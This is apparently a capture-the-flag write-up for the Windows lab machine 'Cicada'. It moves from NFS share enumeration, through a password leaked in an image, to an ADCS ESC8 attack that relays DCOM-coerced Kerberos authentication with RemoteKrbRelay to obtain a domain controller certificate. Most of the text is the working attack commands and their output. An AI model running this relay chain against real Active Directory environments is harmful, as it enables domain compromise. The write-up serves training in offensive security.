Overview
- Type Machines
- OS Windows
- Severity Medium
- Creator xct
- Release date 2024 Sep 26
Enumeration
Start the instance via Discord and let’s go:
10.10.70.81
Nmap
$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.70.81
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 18:29 JST
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-05 09:44:15Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
| Not valid before: 2024-09-12T15:21:57
|_Not valid after: 2025-03-14T15:21:57
|_ssl-date: 2024-10-05T09:33:22+00:00; -1s from scanner time.
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
59148/tcp open msrpc Microsoft Windows RPC
59189/tcp open msrpc Microsoft Windows RPC
59207/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
- Add
DC-JPQ225.cicada.vl,cicada.vlin in /etc/hosts- Found a DC with WEB, SMB and NFS services
NFS enumeration (111/tcp)
$ showmount -e DC-JPQ225.cicada.vl
Export list for DC-JPQ225.cicada.vl:
/profiles (everyone)
Found
/profiles
Mount the folder to check the content:
$ mkdir share
$ sudo mount -t nfs -o rw,vers=4 DC-JPQ225.cicada.vl:/profiles $PWD/share -o nolock
$ ls -la share
total 14
drwxrwxrwx+ 2 nobody nogroup 4096 Sep 15 22:18 .
drwxrwxr-x 3 user user 4096 Oct 5 18:49 ..
drwxrwxrwx+ 2 nobody nogroup 64 Sep 15 22:25 Administrator
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:29 Daniel.Marshall
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:29 Debra.Wright
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:30 Jane.Carter
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:29 Jordan.Francis
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:29 Joyce.Andrews
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:29 Katie.Ward
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:29 Megan.Simpson
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:29 Richard.Gibbons
drwxrwxrwx+ 2 nobody nogroup 64 Sep 15 22:25 Rosie.Powell
drwxrwxrwx+ 2 nobody nogroup 64 Sep 14 00:29 Shirley.West
$ tree share
share
├── Administrator
│ ├── Documents [error opening dir]
│ └── vacation.png
├── Daniel.Marshall
├── Debra.Wright
├── Jane.Carter
├── Jordan.Francis
├── Joyce.Andrews
├── Katie.Ward
├── Megan.Simpson
├── Richard.Gibbons
├── Rosie.Powell
│ ├── Documents [error opening dir]
│ └── marketing.png
└── Shirley.West
14 directories, 2 files
Found some images
If we want to focus on images, we can also do:
$ ls -lahR share | grep -B5 png
ls: cannot open directory 'share/Administrator/Documents': Permission denied
share/Administrator:
total 1.5M
drwxrwxrwx+ 2 nobody nogroup 64 Sep 15 22:25 .
drwxrwxrwx+ 2 nobody nogroup 4.0K Sep 15 22:18 ..
drwx------+ 2 nobody nogroup 64 Sep 15 22:25 Documents
-rwxrwxrwx+ 1 nobody nogroup 1.5M Sep 14 01:12 vacation.png
ls: cannot open directory 'share/Rosie.Powell/Documents': Permission denied
--
share/Rosie.Powell:
total 1.8M
drwxrwxrwx+ 2 nobody nogroup 64 Sep 15 22:25 .
drwxrwxrwx+ 2 nobody nogroup 4.0K Sep 15 22:18 ..
drwx------+ 2 nobody nogroup 64 Sep 15 22:25 Documents
-rwx------+ 1 nobody nogroup 1.8M Sep 14 01:09 marketing.png
Download the images:
$ cp share/Administrator/vacation.png .
$ cp share/Rosie.Powell/marketing.png .
cp: cannot open 'marketing.png' for reading: Permission denied
Check more and we can see we don’t have enough permission, but as we have mount in read/write access the folder then we change the permission for this image file:
$ ls -la
total 1797
drwxrwxrwx+ 2 nobody nogroup 64 Sep 15 22:25 .
drwxrwxrwx+ 2 nobody nogroup 4096 Sep 15 22:18 ..
drwx------+ 2 nobody nogroup 64 Sep 15 22:25 Documents
-rwx------+ 1 nobody nogroup 1832505 Sep 14 01:09 marketing.png
$ sudo chmod 777 marketing.png
$ ls -la
total 1797
drwxrwxrwx+ 2 nobody nogroup 64 Sep 15 22:25 .
drwxrwxrwx+ 2 nobody nogroup 4096 Sep 15 22:18 ..
drwx------+ 2 nobody nogroup 64 Sep 15 22:25 Documents
-rwxrwxrwx+ 1 nobody nogroup 1832505 Sep 14 01:09 marketing.png
$ cp share/Rosie.Powell/marketing.png .
Open the images:
Found
Rosie.Powell:Cicada123
Umount the folder:
$ sudo umount share
Check if credentials work:
$ nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123'
SMB 10.10.70.81 445 10.10.70.81 [*] x64 (name:10.10.70.81) (domain:10.10.70.81) (signing:True) (SMBv1:False)
SMB 10.10.70.81 445 10.10.70.81 [-] 10.10.70.81\Rosie.Powell:Cicada123 STATUS_NOT_SUPPORTED
STATUS_NOT_SUPPORTEDmeans NTLM is not enabled on this domain.- In order to get around this, we can authenticate with Kerberos instead (which needs the FQDN instead of the IP)
$ nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:False)
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [+] cicada.vl\Rosie.Powell:Cicada123
Kerberos authentication works
Shared folder (445/tcp)
$ nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k --shares
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:False)
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [+] cicada.vl\Rosie.Powell:Cicada123
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [*] Enumerated shares
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 Share Permissions Remark
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 ----- ----------- ------
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 ADMIN$ Remote Admin
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 C$ Default share
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 CertEnroll READ Active Directory Certificate Services share
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 IPC$ READ Remote IPC
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 NETLOGON READ Logon server share
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 profiles$ READ,WRITE
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 SYSVOL READ Logon server share
Nothing except we found that this DC is also an ADCS server as
CertEnrollis present
Web (80/tcp)
$ curl http://DC-JPQ225.cicada.vl
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
<style type="text/css">
<!--
body {
color:#000000;
background-color:#0072C6;
margin:0;
}
#container {
margin-left:auto;
margin-right:auto;
text-align:center;
}
a img {
border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="iisstart.png" alt="IIS" width="960" height="600" /></a>
</div>
</body>
</html>
Just the default page for IIS
$ curl http://DC-JPQ225.cicada.vl/certsrv
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
</fieldset></div>
</div>
</body>
</html>
Confirmed that it’s an ADCS
ADCS Certificates hunting
List All PKI Enrollment Servers:
$ nxc ldap DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k -M adcs
LDAP DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl [*] x64 (name:DC-JPQ225.cicada.vl) (domain:cicada.vl) (signing:True) (SMBv1:False)
LDAP DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl [+] cicada.vl\Rosie.Powell:Cicada123
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found PKI Enrollment Server: DC-JPQ225.cicada.vl
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found CN: cicada-DC-JPQ225-CA
List All Certificates Inside a PKI:
$ nxc ldap DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k -M adcs -o SERVER=cicada-DC-JPQ225-CA
LDAP DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl [*] x64 (name:DC-JPQ225.cicada.vl) (domain:cicada.vl) (signing:True) (SMBv1:False)
LDAP DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl [+] cicada.vl\Rosie.Powell:Cicada123
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Using PKI CN: cicada-DC-JPQ225-CA
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl [*] Starting LDAP search with search filter '(distinguishedName=CN=cicada-DC-JPQ225-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: DirectoryEmailReplication
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: DomainControllerAuthentication
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: KerberosAuthentication
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: EFSRecovery
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: EFS
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: DomainController
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: WebServer
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: Machine
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: User
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: SubCA
ADCS DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl Found Certificate Template: Administrator
Hunt for ADCS CAs:
$ nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k -M enum_ca
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:False)
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 [+] cicada.vl\Rosie.Powell:Cicada123
ENUM_CA DC-JPQ225.cicada.vl 445 DC-JPQ225 Active Directory Certificate Services Found.
ENUM_CA DC-JPQ225.cicada.vl 445 DC-JPQ225 http://DC-JPQ225.cicada.vl/certsrv/certfnsh.asp
ENUM_CA DC-JPQ225.cicada.vl 445 DC-JPQ225 Web enrollment found on HTTP (ESC8).
Found that seems vulnerable to ESC8
Search for vulnerable templates:
certipy-ad find -vulnerable -k -debug -dc-ip DC-JPQ225.cicada.vl -ns 10.10.70.81 -u 'Rosie.Powell@cicada.vl' -p 'Cicada123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[+] Trying to resolve 'DC-JPQ225.cicada.vl' at '10.10.70.81'
[+] Authenticating to LDAP server
[+] Getting TGT for 'ROSIE.POWELL@CICADA.VL'
[+] Got TGT for 'ROSIE.POWELL@CICADA.VL'
[+] Getting TGS for 'host/DC-JPQ225.cicada.vl'
[+] Got TGS for 'host/DC-JPQ225.cicada.vl'
[+] Bound to ldaps://10.10.70.81:636 - ssl
[+] Default path: DC=cicada,DC=vl
[+] Configuration path: CN=Configuration,DC=cicada,DC=vl
[+] Adding Domain Computers to list of current user's SIDs
[+] List of current user's SIDs:
CICADA.VL\Users (CICADA.VL-S-1-5-32-545)
CICADA.VL\Everyone (CICADA.VL-S-1-1-0)
CICADA.VL\Authenticated Users (CICADA.VL-S-1-5-11)
CICADA.VL\Domain Computers (S-1-5-21-687703393-1447795882-66098247-515)
CICADA.VL\Domain Users (S-1-5-21-687703393-1447795882-66098247-513)
CICADA.VL\Rosie Powell (S-1-5-21-687703393-1447795882-66098247-1109)
CICADA.VL\cicada (S-1-5-21-687703393-1447795882-66098247-1103)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[+] Resolved 'DC-JPQ225.cicada.vl' from cache: 10.10.70.81
[*] Trying to get CA configuration for 'cicada-DC-JPQ225-CA' via CSRA
[+] Trying to get DCOM connection for: 10.10.70.81
[+] Getting TGT for 'ROSIE.POWELL@CICADA.VL'
[+] Got TGT for 'ROSIE.POWELL@CICADA.VL'
[+] Getting TGS for 'host/DC-JPQ225.cicada.vl'
[+] Got TGS for 'host/DC-JPQ225.cicada.vl'
[!] Got error while trying to get CA configuration for 'cicada-DC-JPQ225-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'cicada-DC-JPQ225-CA' via RRP
[+] Getting TGT for 'ROSIE.POWELL@CICADA.VL'
[+] Got TGT for 'ROSIE.POWELL@CICADA.VL'
[+] Getting TGS for 'host/DC-JPQ225.cicada.vl'
[+] Got TGS for 'host/DC-JPQ225.cicada.vl'
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[+] Connected to remote registry at 'DC-JPQ225.cicada.vl' (10.10.70.81)
[*] Got CA configuration for 'cicada-DC-JPQ225-CA'
[+] Resolved 'DC-JPQ225.cicada.vl' from cache: 10.10.70.81
[+] Connecting to 10.10.70.81:80
[*] Saved BloodHound data to '20241005195640_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20241005195640_Certipy.txt'
[*] Saved JSON output to '20241005195640_Certipy.json'
$ cat 20241005195640_Certipy.txt
Certificate Authorities
0
CA Name : cicada-DC-JPQ225-CA
DNS Name : DC-JPQ225.cicada.vl
Certificate Subject : CN=cicada-DC-JPQ225-CA, DC=cicada, DC=vl
Certificate Serial Number : 642597B432BB4CB64CB67CC31C710B0A
Certificate Validity Start : 2024-10-05 10:13:13+00:00
Certificate Validity End : 2524-10-05 10:23:13+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CICADA.VL\Administrators
Access Rights
ManageCertificates : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
ManageCa : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
Enroll : CICADA.VL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates : [!] Could not find any certificate templates
No vulnerable template but confirmed ESC8 for the CA
ADCS ESC8 exploiting (Administrator) (Cicada_Root)
Windows way
Note
- The Hacker Recipes - web endpoint - esc8
- SilverPotato (DCOM permissions on DC) by Andrea Pierini
- Tyranid’s Lair - Relaying Kerberos Authentication from DCOM OXID Resolving
- BlackHat ASIA 2024 - Privilege Escalation to Domain Admin with DCOM by Tencent Security Xuanwu Lab
- CICADA8-Research - RemoteKrbRelay exploit
- Three-Headed Potato Dog
If the web enrollment is active and no extra mitigation steps have been taken, it can be exploited by relaying the authentication of a privileged machine (for example a domain controller) to it. This is a pretty common vulnerability and widely known as ESC8. Usually this needs at least 2 machines, where you would relay a domain controller via your own attacker controlled machine to the web endpoint on the CA. Relaying back to the same machine shouldn’t be possible due to self-relay mitigations that have been introduced quite a while ago.
Recent research has shown, that it is still possible to do in this case by relaying Kerberos instead of NTLM.
The attack has been automated in KrbRemoteRelay by Cicada8 Research (hence the name of the machine).
Since this runs on Windows and we only have one target machine available, we’ll use a Windows VM to perform the attack.
But 1 pre-requirement is to have the machine account quota not equal to 0 because we need to join our Windows VM to the cicada.vl domain.
Retrieve the MachineAccountQuota domain-level attribute:
$ nxc ldap DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k -M maq
LDAP 1 389 DC-JPQ225.cicada.vl [*] x64 (name:DC-JPQ225.cicada.vl) (domain:cicada.vl) (signing:True) (SMBv1:False)
LDAP DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl [+] cicada.vl\Rosie.Powell:Cicada123
MAQ DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl [*] Getting the MachineAccountQuota
MAQ DC-JPQ225.cicada.vl 389 DC-JPQ225.cicada.vl MachineAccountQuota: 10
Lucky
Since the machine account quota is 10, we could domain join our own Windows VM to run it, but it’s also sufficient to get a TGT & RPCSS TGS, inject it on a non-domain joined windows machine and then run the tool.
Note
- It’s important to keep IPv6 enabled in the adapter or enable if its not yet the case.
- For the domain joined way, connect to the VPN and then make sure to set the DNS entry to the Cicada DC.
Start a new instance:
- Add the Cicada DC as a preferred DNS server in our OpenVPN adapter > Internet Protocol Version 4 (TCP/IPv4):
- Import your
awsprofile in openvpn then launch it:
Join the machine to the domain using the credentials of Rosie Powell:
- In a powershell executed with administrator privileges from our windows 10 VM:
PS C:\Windows\system32> Add-Computer -DomainName CICADA.VL
cmdlet Add-Computer at command pipeline position 1
Supply values for the following parameters:
Credential
WARNING: The changes will take effect after you restart the computer DESKTOP-CJSR3CN.
- Enter the rosie.powell credentials in the pop-up window:
cicada.vl\rosie.powell
Cicada123
- Restart the Windows 10 VM
After the reboot, logon as rosie.powell and launch again our vpn.
Then install the PowerShell Active Directory Module:
PS C:\Windows\system32> Get-WindowsCapability -Name RSAT.ActiveDirectory* -Online | Add-WindowsCapability -Online
Path :
Online : True
RestartNeeded : False
Then :
PS C:\Users\rosie.powell> Get-ADDomain -Current LocalComputer
AllowedDNSSuffixes : {}
ChildDomains : {}
ComputersContainer : CN=Computers,DC=cicada,DC=vl
DeletedObjectsContainer : CN=Deleted Objects,DC=cicada,DC=vl
DistinguishedName : DC=cicada,DC=vl
DNSRoot : cicada.vl
DomainControllersContainer : OU=Domain Controllers,DC=cicada,DC=vl
DomainMode : Windows2016Domain
DomainSID : S-1-5-21-687703393-1447795882-66098247
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=cicada,DC=vl
Forest : cicada.vl
InfrastructureMaster : DC-JPQ225.cicada.vl
LastLogonReplicationInterval :
LinkedGroupPolicyObjects : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=cicada,DC=vl}
LostAndFoundContainer : CN=LostAndFound,DC=cicada,DC=vl
ManagedBy :
Name : cicada
NetBIOSName : CICADA
ObjectClass : domainDNS
ObjectGUID : 46c8392d-430b-4b14-9005-f0c2d138720e
ParentDomain :
PDCEmulator : DC-JPQ225.cicada.vl
PublicKeyRequiredPasswordRolling : True
QuotasContainer : CN=NTDS Quotas,DC=cicada,DC=vl
ReadOnlyReplicaDirectoryServers : {}
ReplicaDirectoryServers : {DC-JPQ225.cicada.vl}
RIDMaster : DC-JPQ225.cicada.vl
SubordinateReferences : {DC=ForestDnsZones,DC=cicada,DC=vl, DC=DomainDnsZones,DC=cicada,DC=vl,
CN=Configuration,DC=cicada,DC=vl}
SystemsContainer : CN=System,DC=cicada,DC=vl
UsersContainer : CN=Users,DC=cicada,DC=vl
Confirmed we have correctly joined the CICADA.VL AD Domain
We use Checkerv2.0 to find a vulnerable DCOM object:
Found CertSrv Request (CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3})
When we will use RemoteKrbRelay.exe we will receive the Defender firewall pop-up, so needed to use our local admin account to allow the traffic.
Run it to get a certificate for the domain controller:
C:\Users\rosie.powell\Downloads>RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
[+] Setting UP Rogue COM at port 12345
[+] Registering...
[+] Register success
[+] Forcing Authentication
[+] Using CLSID: d99e6e74-fc88-11d0-b498-00a0c90312f3
[*] apReq: 6082071f06092a864886f71201020201006e82070e3082070aa003020105a10302010ea20703050020000000a3820546618205423082053ea003020105a10b1b094349434144412e564ca2263024a003020102a11d301b1b04687474701b1364632d6a70713232352e6369636164612e766ca3820500308204fca003020112a103020103a28204ee048204eae845dd05e7c953cca7dc4d1913b4c61dfb19c5458d15cb0d17fec238b7ecd0bd73e2fdd64d9a5a38460d24365c8d118fb736cafb7642273ced2532007f50ff30656f0f7e4b426960ecf472e17b00d773ab341e9166757881b73474c27d1e58185d62d6206db74302a4d6ed1240d94281af6a64462c23b4d1a7691cd6d0e339455d4e77b9dc6526ceb37affa0de370c0483c4dd96ad13b13d9b7dca35c3b1c4f8552361aa1427e1e793b105a9663b01755b773927c4e8ee022eda81c8707f532d4c2988a88135b9f8db4267904f0cee63240647fc4427904e9782003d841f01ecde1e71366f3d682cc2a8f4562fe06cdf2d5bdd0b3c9d9ba7edf78e7e9b593a033770874136acd89786f34b967624e7fe8fb7d6e423bc38b0972c8eb47a094417197dc505e16a52fa0cb3e21ff5059a2cfa83d5d4f5db0b450d15c28229c02e79a77cf96184452e8a114a823f5463b3ca5f893c1a1aeb130f9c903854e8414ee956de49bfc1b790b605bc779e992801c86760dade1411206b0bdb252ef8306f4562ec0edc65fea4fad9ff035b8c5c8a09fae9c834167c3dbb1d4373afbce89a7cf75884fdf141f1201d155f79e292819839324326c4a40eb18c38a4a0f02e68511294c96335477995622d337d6fc794031c3e165ce0fefcbe75a8305045b6aaa9f914912f0e0a456e0f53917676e599c6cc38291e3d33462f6317bf807ec9186a7b0ce2ab5d0f6df7be9105a5b08d4b544997a80a3a85c8f6c5f89ecccacd10ee2aeb0a90c8d97e1124a7114b1f13a622b1f18f00dc2b644b98cae9664a98059a4ce68434aa71d9d03a90571574c3dcf828ba936801be17723fe5d3cbc1930077818609244d2a4ed2cf10d8e9594ecea01d61527573bf666bb14778140e591a129f3b428076f7aba598c33d4d174152dff03964edd1663b73183f299563833a58da74760043206cd4c3b69ba157ff1da4ba6c8331744772709027e48cd1edcc88329502844ee24b25e559b0b8f59c8b2d7d7824a8a5ced195d0ced0b502d35fb8d3df04f15dab7d1edb36dba731546f1e8fec7d132877ec0de987855d1d5d91776cd07e880c857b3f52c683f25f958dda3c241137f669f3cf5bbd48e62e8e0eedfb80007d9a81142c28d2fb46ed7b874f1d8f3597a275748cee083e50b74db28deeed972b7f93cf01df05615a1b8756fb299ba2e8c151264c4c9484d840d86fff5488c275e4fe4548b4f5cb9b3f3b35c09743f8ce29ea2f6ca68c2058ed7078933374b0ee97482b2ab19f816106159a771837d79c22119ddd42990d97abc8562d45d3364eb624f20e9d7ee20344108f1981da4a330186d35a2e16637fb1d07a1621ad70e43ce7943bfef87afbe842dcc442e5727540722c998272a1e3afd90d5ddafaf7bf6b7ca1b8d0f53cee6d3667157423ad6015c8387bbbc47b9bf5fb5f6494c1d3eb6538ec25be17ed7dd279a9348af9748b6f38d749ab2389502c0e9751093e483bf6462d898a5b63e10ee11572149ad56d2fba67a2503fe3bcacf73813d62b5988a4e7f62d5db83f60fbd5a33ec576b99877d31354604232d388eb3d54ba94ec1c50b88ae4c8a7bd19f9b104f5aef8a8b9e8b4ded3c2b044948477e11c13c8d91cb479133ac140efb4d7ee4bdbc4a1944dfcde6ceb74cea67c35044d4cb118b83ad116e7a38ff10f25fc08ec34fd079313ac1f22f4d2f43b414fad5cd0273a11541eb74042b5b508e40164dae8a9f55a26c45d429b84edc208d1ca1ab2f4456c9aad35f823345ea48201a9308201a5a003020112a282019c048201981fb0bde4b85d9d9f943404bd3eb225304cb0f4b20779a2665df2164d6401afb8dcace1ee323aca4435bc97825c4e92c142867a969102a875d6f16e6bae228795dea2be8f5538623e757c5e5d4227af077aeb097c59f13abfe6f328b9e7bcb3e5ad75b6f4a1134db9ccc2dbe163dfd1620ab5a3a8cabcf8e13663f0f663b3fbf0405905bd0f9caf500bf0dd47d5b21469efbb3293e82434185b15199c440a43f49cf9444c032607ba7629901af67d8688ffae073a7f89307b88dba050b17b6a01b5d7d4d1ed20af902c57fa30621d2d7b078893fcb7e02cc349ed48fd35cc22e60c7e9ab2c7ee1908b95824b1678fb4401b43d57394d60f535c0c2f8bac1ed086d140f173c1fb1ace680d1085d3fb111e93253b160497efe83d504d33b4e96ff8b63a428c06dabe166ae89c31be92fd1d99bb9bed1bf05440763852ee19e1bef28f7730d75e76b0fe8c780f6400b3f8dfbe60879caa841acf18b86322b8d3663715ba01da389e0e1a85c9de42f383224ba900e6f0037780e406aa354d53455a9642c49e5a56e61fb6fa192772b6ed252fc92ce4aa251cd04a
[+] Got Krb Auth from NT/System. Relaying to ADCS now...
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, Confidentiality, UseDceStyle, Connection
[+] Received Kerberos Auth from dc-jpq225.cicada.vl with ticket on http/dc-jpq225.cicada.vl
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442061b3ba8e5bf0e1571ac393aed539329e92fb604f902983036bb6cfbd282c0d65160a0f730d9e1f5f80fcc5fe041a8833cc3e92b70e95699845bb29bd3cdfa1dba7d
[+] HTTP session established
[+] Cookie ASPSESSIONIDCCBSSQSS=AFGFAKABABAPEDLKJIDEKFMO; path=/
[+] Lets get certificate for "cicada.vl\dc-jpq225$" using "DomainController" template
[+] Success (ReqID: 16)
